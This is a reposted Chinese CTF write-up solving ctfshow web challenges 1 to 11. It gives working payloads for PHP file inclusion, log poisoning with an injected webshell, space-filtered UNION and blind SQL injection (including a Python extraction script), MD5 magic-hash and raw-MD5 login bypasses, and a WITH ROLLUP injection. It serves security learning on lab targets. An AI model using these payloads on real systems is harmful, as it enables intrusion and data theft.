iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow web(不定期更新)
  • 584
分享到

ctfshow web(不定期更新)

php安全CTF 2023-09-01 11:09:24 584人浏览 泡泡鱼
摘要

WEB1 源码 web2 最基本的sql注入 web3 考点:PHP伪协议 ctf.show_web3 文件包含漏洞,使用php伪协议探测 php://input 可以访问请求的原始数据,配合文件包含

WEB1

源码

web2

最基本的sql注入

web3

考点:PHP伪协议

ctf.show_web3<?php include($_GET['url']);?>

文件包含漏洞,使用php伪协议探测
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/fORM-data"时,php://input将会无效
在这里插入图片描述
然后使用文件包含
在这里插入图片描述

web4

考点:日志注入
web3的升级,过滤了php伪协议,使用日志注入
访问/var/log/Nginx/access.log可以查看到我们输入的参数记录
在这里插入图片描述
在user-agent种写入一句话木马
在这里插入图片描述
因为日志文件中的代码会被执行。
然后用蚁剑连接(连接目标:Http://xxx/?url=/var/log/nginx/access.log)在www目录下找到flag.txt

web5

考点:php代码审计

        $flag="";        $v1=$_GET['v1'];        $v2=$_GET['v2'];        if(isset($v1) && isset($v2)){            if(!ctype_alpha($v1)){                die("v1 error");            }            if(!is_numeric($v2)){                die("v2 error");            }            if(md5($v1)==md5($v2)){                echo $flag;            }        }else{                    echo "where is flag?";        }    ?>

ctype_alpha用来检测是否只含有字符,不是则为false
is_numeric用于检测是否是纯数字
绕过方法:如果是以数字开头的字符串,使用is_numeric的时候会自动去掉后面的字符,将其前面的数字取出来判断
eg:a=1234abc在is_numeric判断时会当做1234

最后一个if是php的弱等于
弱等于判断的时候,如果两边的类型不同,则先是将类型转换成相同的,再进行比较
MD5弱等于绕过:有些字符md5后的值为0e开头,会被当做科学计数法,也就是0.所以当找到2个字符md5后的值都为0e开头时即可绕过
常用的值:

开头为0E(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412

任意使用2个即可
在这里插入图片描述

web6

在这里插入图片描述
web2的升级版,做了过滤
fuzz一下
发现空格被过滤了
在这里插入图片描述
绕过方法:内联注释, %a0等
参考:SQL注入一些过滤及绕过总结

这里使用进行绕过
数据库名:-1'uNIOnselect1,database(),3#
在这里插入图片描述
表名:-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()#
在这里插入图片描述
字段名:-1'unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name='flag'#
在这里插入图片描述
查flag内容:-1'unionselect1,flag,3fromflag#
在这里插入图片描述

web7

与we6相同
考点:sql注入 注入点的寻找
在这里插入图片描述
看到形如?id=1这样的就联想到sql注入
永真式测试
在这里插入图片描述
存在sql注入但是被过滤了。fuzz一下和web6一样依然是过滤空格
绕过参考第6题,使用
寻找回显点:-1'unionselect1,2,3#
在这里插入图片描述
回显点:2,3
后面和web6一样

web8

考点:sql盲注
依旧是sql注入,fuzz一波先
在这里插入图片描述
单引号、空格、union、逗号等被过滤了
猜测是数字型注入
测试:?id=1or1=1#
在这里插入图片描述
回显全部

-1or1=2#

在这里插入图片描述
无回显

考虑盲注
注意:逗号被过滤了,substr中可以用from for 来绕过,单引号被过滤了,表名可以用十六进制来表示
在这里插入图片描述
脚本:

import requeststarget = "http://83f0f603-456d-4fd9-8c36-6c452e42c2b4.challenge.ctf.show/index.php?id=-1or"result = ''for i in range(1,128):    #database_payload = "ascii(substr(database()from%dfor1))=%d#"     #获取数据库    #table_payload = "ascii(substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database())from%dfor1))=%d"    #column_payload = "ascii(substr((selectgroup_concat(column_name)frominformation_schema.columnswheretable_name=0x666c6167)from%dfor1))=%d"    flag_payload = "ascii(substr((selectflagfromflag)from%dfor1))=%d"    count = 0    for j in range(31,128):        r = requests.get(url=target+flag_payload % (i,j))       #自行切换payload        if "If" in r.text:  #返回true的页面存在If            result += chr(j)            print("result:%s" % result)            break        count += 1        if count >= 97:     #字符不存在,循环结束            exit()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

web9

考点:MD5加密
在这里插入图片描述
登录页,尝试sql注入无果,以为是弱口令,也没爆破出来
不知道做什么的时候就扫扫目录试试。发现robots.txt文件
访问
在这里插入图片描述
访问index.phps,下载源码:

        $flag="";$passWord=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=Mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){ echo "登陆成功
"
; echo $flag; }} ?>

漏洞点:select * from user where username ='admin' and password ='".md5($password,true)."'

md5()函数
在这里插入图片描述
当参数为true时,返回的是字符二进制格式
漏洞利用字符:ffifdyop
经过参数为true的md5加密后为:'or'6xxx
在这里插入图片描述
因此拼接到sql语句中就是select * from user where username ='admin' and password =''or'6xxx'
非0数字在or后面被当做true,故满足条件

web10

考点:sql注入-with rollup
点击取消下载得到源码:

$flag="";        function replaceSpecialChar($strParam){             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";             return preg_replace($regex,"",$strParam);        }        if (!$con)        {            die('Could not connect: ' . mysqli_error());        }if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功
"
;echo $flag;} }} ?>

定义了过滤函数,对username和password进行过滤,然后判断输入的password是否对应根据我们输入的username从数据库中查到的密码
解题思路:with rollup注入
with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
例如:
在这里插入图片描述
可以看到最后一行就是使用with rollup的效果, 增添了一行数据,对group by指定的字段为Null,其余字段进行汇总
所以我们如果使用永真式1’ or 1=1 之后会把所有的用户名和密码查出来,其中有password字段,这时我们group by password字段再with rollup就会生成一个新行这一行的password字段为Null

while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功
"
;echo $flag;}

经过将结果集循环遍历最后就会取出为Null的password值。这个时候只要输入框中password为空就会Null==Null
通过判断
payload:'or1=1groupbypasswordwithrollup#
在这里插入图片描述

web11

考点:session

        function replaceSpecialChar($strParam){             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";             return preg_replace($regex,"",$strParam);        }        if(strlen($password)!=strlen(replaceSpecialChar($password))){            die("sql inject error");        }        if($password==$_SESSION['password']){            echo $flag;        }else{            echo "error";        }    ?>

$_SESSION用于获取session中记录的值
这里是获取session中存的password的值,由于不知道session中password中的值,可以直接将其置空,然后输入也为空即可
在这里插入图片描述

来源地址:https://blog.csdn.net/pakho_C/article/details/127011238

--结束END--

本文标题: ctfshow web(不定期更新)

本文链接: https://www.lsjlt.com/news/388339.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • ctfshow web(不定期更新)
    web1 源码 web2 最基本的sql注入 web3 考点:php伪协议 ctf.show_web3 文件包含漏洞,使用php伪协议探测 php://input 可以访问请求的原始数据,配合文件包含...
    99+
    2023-09-01
    php 安全 CTF
  • ctfshow新手杯(web)
    前言 前天ctfshow举办的新手杯,里面的部分web题对于我来说还是有必要记录一下的。里面的大师傅都太强了。 easy_eval web签到题,打开题目一段代码: 将eval函数进行闭合,eval函数失去了作用,所以我们需要补上php标签...
    99+
    2023-09-09
    php 开发语言 安全
  • CTFShow-Web篇详细wp(持续更新中ing)
    CTFShow-Web篇详细wp web签到题web2web3web4web5web6web7web8 CTFShow 平台:https://ctf.show/ web签到题 直接F1...
    99+
    2023-10-02
    CTFShow Web SQL注入 代码审计 PHP
  • Python定期从SVN更新文件
    如果一个测试站点要及时的从svn获取最新的文件,那么写一个定期更新程序是非常必要的,下面的代码Python的简单实现svnupdate.py impo...
    99+
    2023-01-31
    文件 Python SVN
  • SSL证书需要定期更新吗
    是的,SSL证书需要定期更新。SSL证书通常有一个有效期限,通常为1年或更长时间。一旦证书到期,网站的SSL连接将不再受保护,会出现...
    99+
    2024-04-17
    SSL证书
  • 为什么网站需要定期更新
    提升用户体验:定期更新网站可以增加新的内容和功能,使用户在访问网站时获得新的体验,增加用户的粘性和活跃度。 提升搜索引擎排名...
    99+
    2024-04-17
    建站
  • 为什么网站要定期更新内容
    本篇内容介绍了“为什么网站要定期更新内容”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!  网站SEO优化为什么要定期更新内容  1、用户体验...
    99+
    2023-06-10
  • python 多线程实现定期更新ip库
        通过最近监控发现,使用第三方Cdn公司的带宽偏高。由于最近没有增加新的业务。感觉其中肯定有问题。按照我们的Cahe架构,用户首先到我们自建Cache节点获取数据,如果该区域没有我们的节点,会去第三方节点进行取数据。具体架构如下:  ...
    99+
    2023-01-31
    多线程 python ip
  • 如何设置CentOS系统以定期更新安全补丁
    要设置CentOS系统以定期更新安全补丁,可以按照以下步骤进行操作:1. 配置yum自动更新:打开终端,输入以下命令打开yum-cr...
    99+
    2023-10-12
    CentOS
  • win10更新好还是不更新好
    是否更新Windows 10取决于您个人的需求和偏好。以下是一些考虑因素:1. 安全性:更新Windows 10可以提供最新的安全补...
    99+
    2023-08-26
    win10
  • Ajax方式如何实现定期更新页面某块内容
    本篇文章为大家展示了Ajax方式如何实现定期更新页面某块内容,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。具体实现方法如下:function update...
    99+
    2024-04-02
  • 服务器安全补丁:为什么你需要定期更新?
    在当今数字时代,服务器已成为企业运营的核心组成部分。服务器存储和处理大量敏感数据,包括客户信息、财务数据和业务秘密。因此,保护服务器免受安全威胁至关重要。 服务器安全补丁是保护服务器免受最新威胁的必要步骤。软件开发人员经常发现软件中的漏...
    99+
    2024-02-27
    服务器安全补丁、软件更新、漏洞、安全风险
  • MySQL 更新数据 不同条件(批量)更新不同值
    一般在更新时会遇到以下场景:1.全部更新;2.根据条件更新字段中的某部分内容;3.根据不同的条件更新不同的值,以下是几种场景中常用的update方法。 一、方法分类 二、具体用法 (1)根据条件更新...
    99+
    2023-09-01
    mysql 数据库 sql
  • 更新 MySQL 日期并增加一年
    要更新MySQL日期并增加一年,可以使用DATE_ADD函数。以下是一个示例查询:UPDATE your_tableSET your...
    99+
    2023-10-20
    MySQL
  • 更新 MySQL 日期并增加一年?
    您可以使用 MySQL 的内置函数 date_add()。语法如下 -UPDATE yourTableName SET yourDateColumnName=DATE_ADD(yourDateColumnName,interval ...
    99+
    2023-10-22
  • Win11更新找不到指定模块如何解决
    出现"找不到指定模块"错误可能是由于系统文件缺失或损坏所致。以下是一些常见的解决方法:1. 运行系统文件检查工具:按下Win + X...
    99+
    2023-08-22
    Win11
  • Python花式错误集锦(长期更新)
    Python是一门灵活的,有意思的,用途广泛的语言。近些年来,受到越来越多的重视。也有越来越多的人来学习这门语言。 于是,问题来了,对于初学者,往往在写代码的过程中,出现这样或那样的错误,导致程序运行报错。这些错误或简单,或复杂,或诡异,或...
    99+
    2023-01-31
    集锦 错误 Python
  • 不更新Win10会怎么样?有必要更新吗
    每年,微软都会发布新的修补补丁,为Win10系统带来新的功能和挑战。然而,部分用户对于更新持有不喜欢的态度,他们担心长时间不更新会对系统的使用造成影响。以下小系列会给你带来详细的答案。不更新Win10会怎么样?答:不更新也没有影响。更新一般...
    99+
    2023-07-15
  • CTF(Web方向练习题)(持续更新)
    1.Training-WWW-Robots 打开应用场景,如下: 网址后面添加/robots.txt 查看其中内容(robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的AS...
    99+
    2023-09-29
    前端 php 开发语言
  • Laravel 和 CodeIgniter 的近期更新和未来发展方向有何不同?
    laravel 和 codeigniter 的近期更新和未来发展方向存在差异,具体如下:近期更新: laravel 推出了 laravel 9 和计划推出 laravel 10,重点关注...
    99+
    2024-05-12
    laravel php框架
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作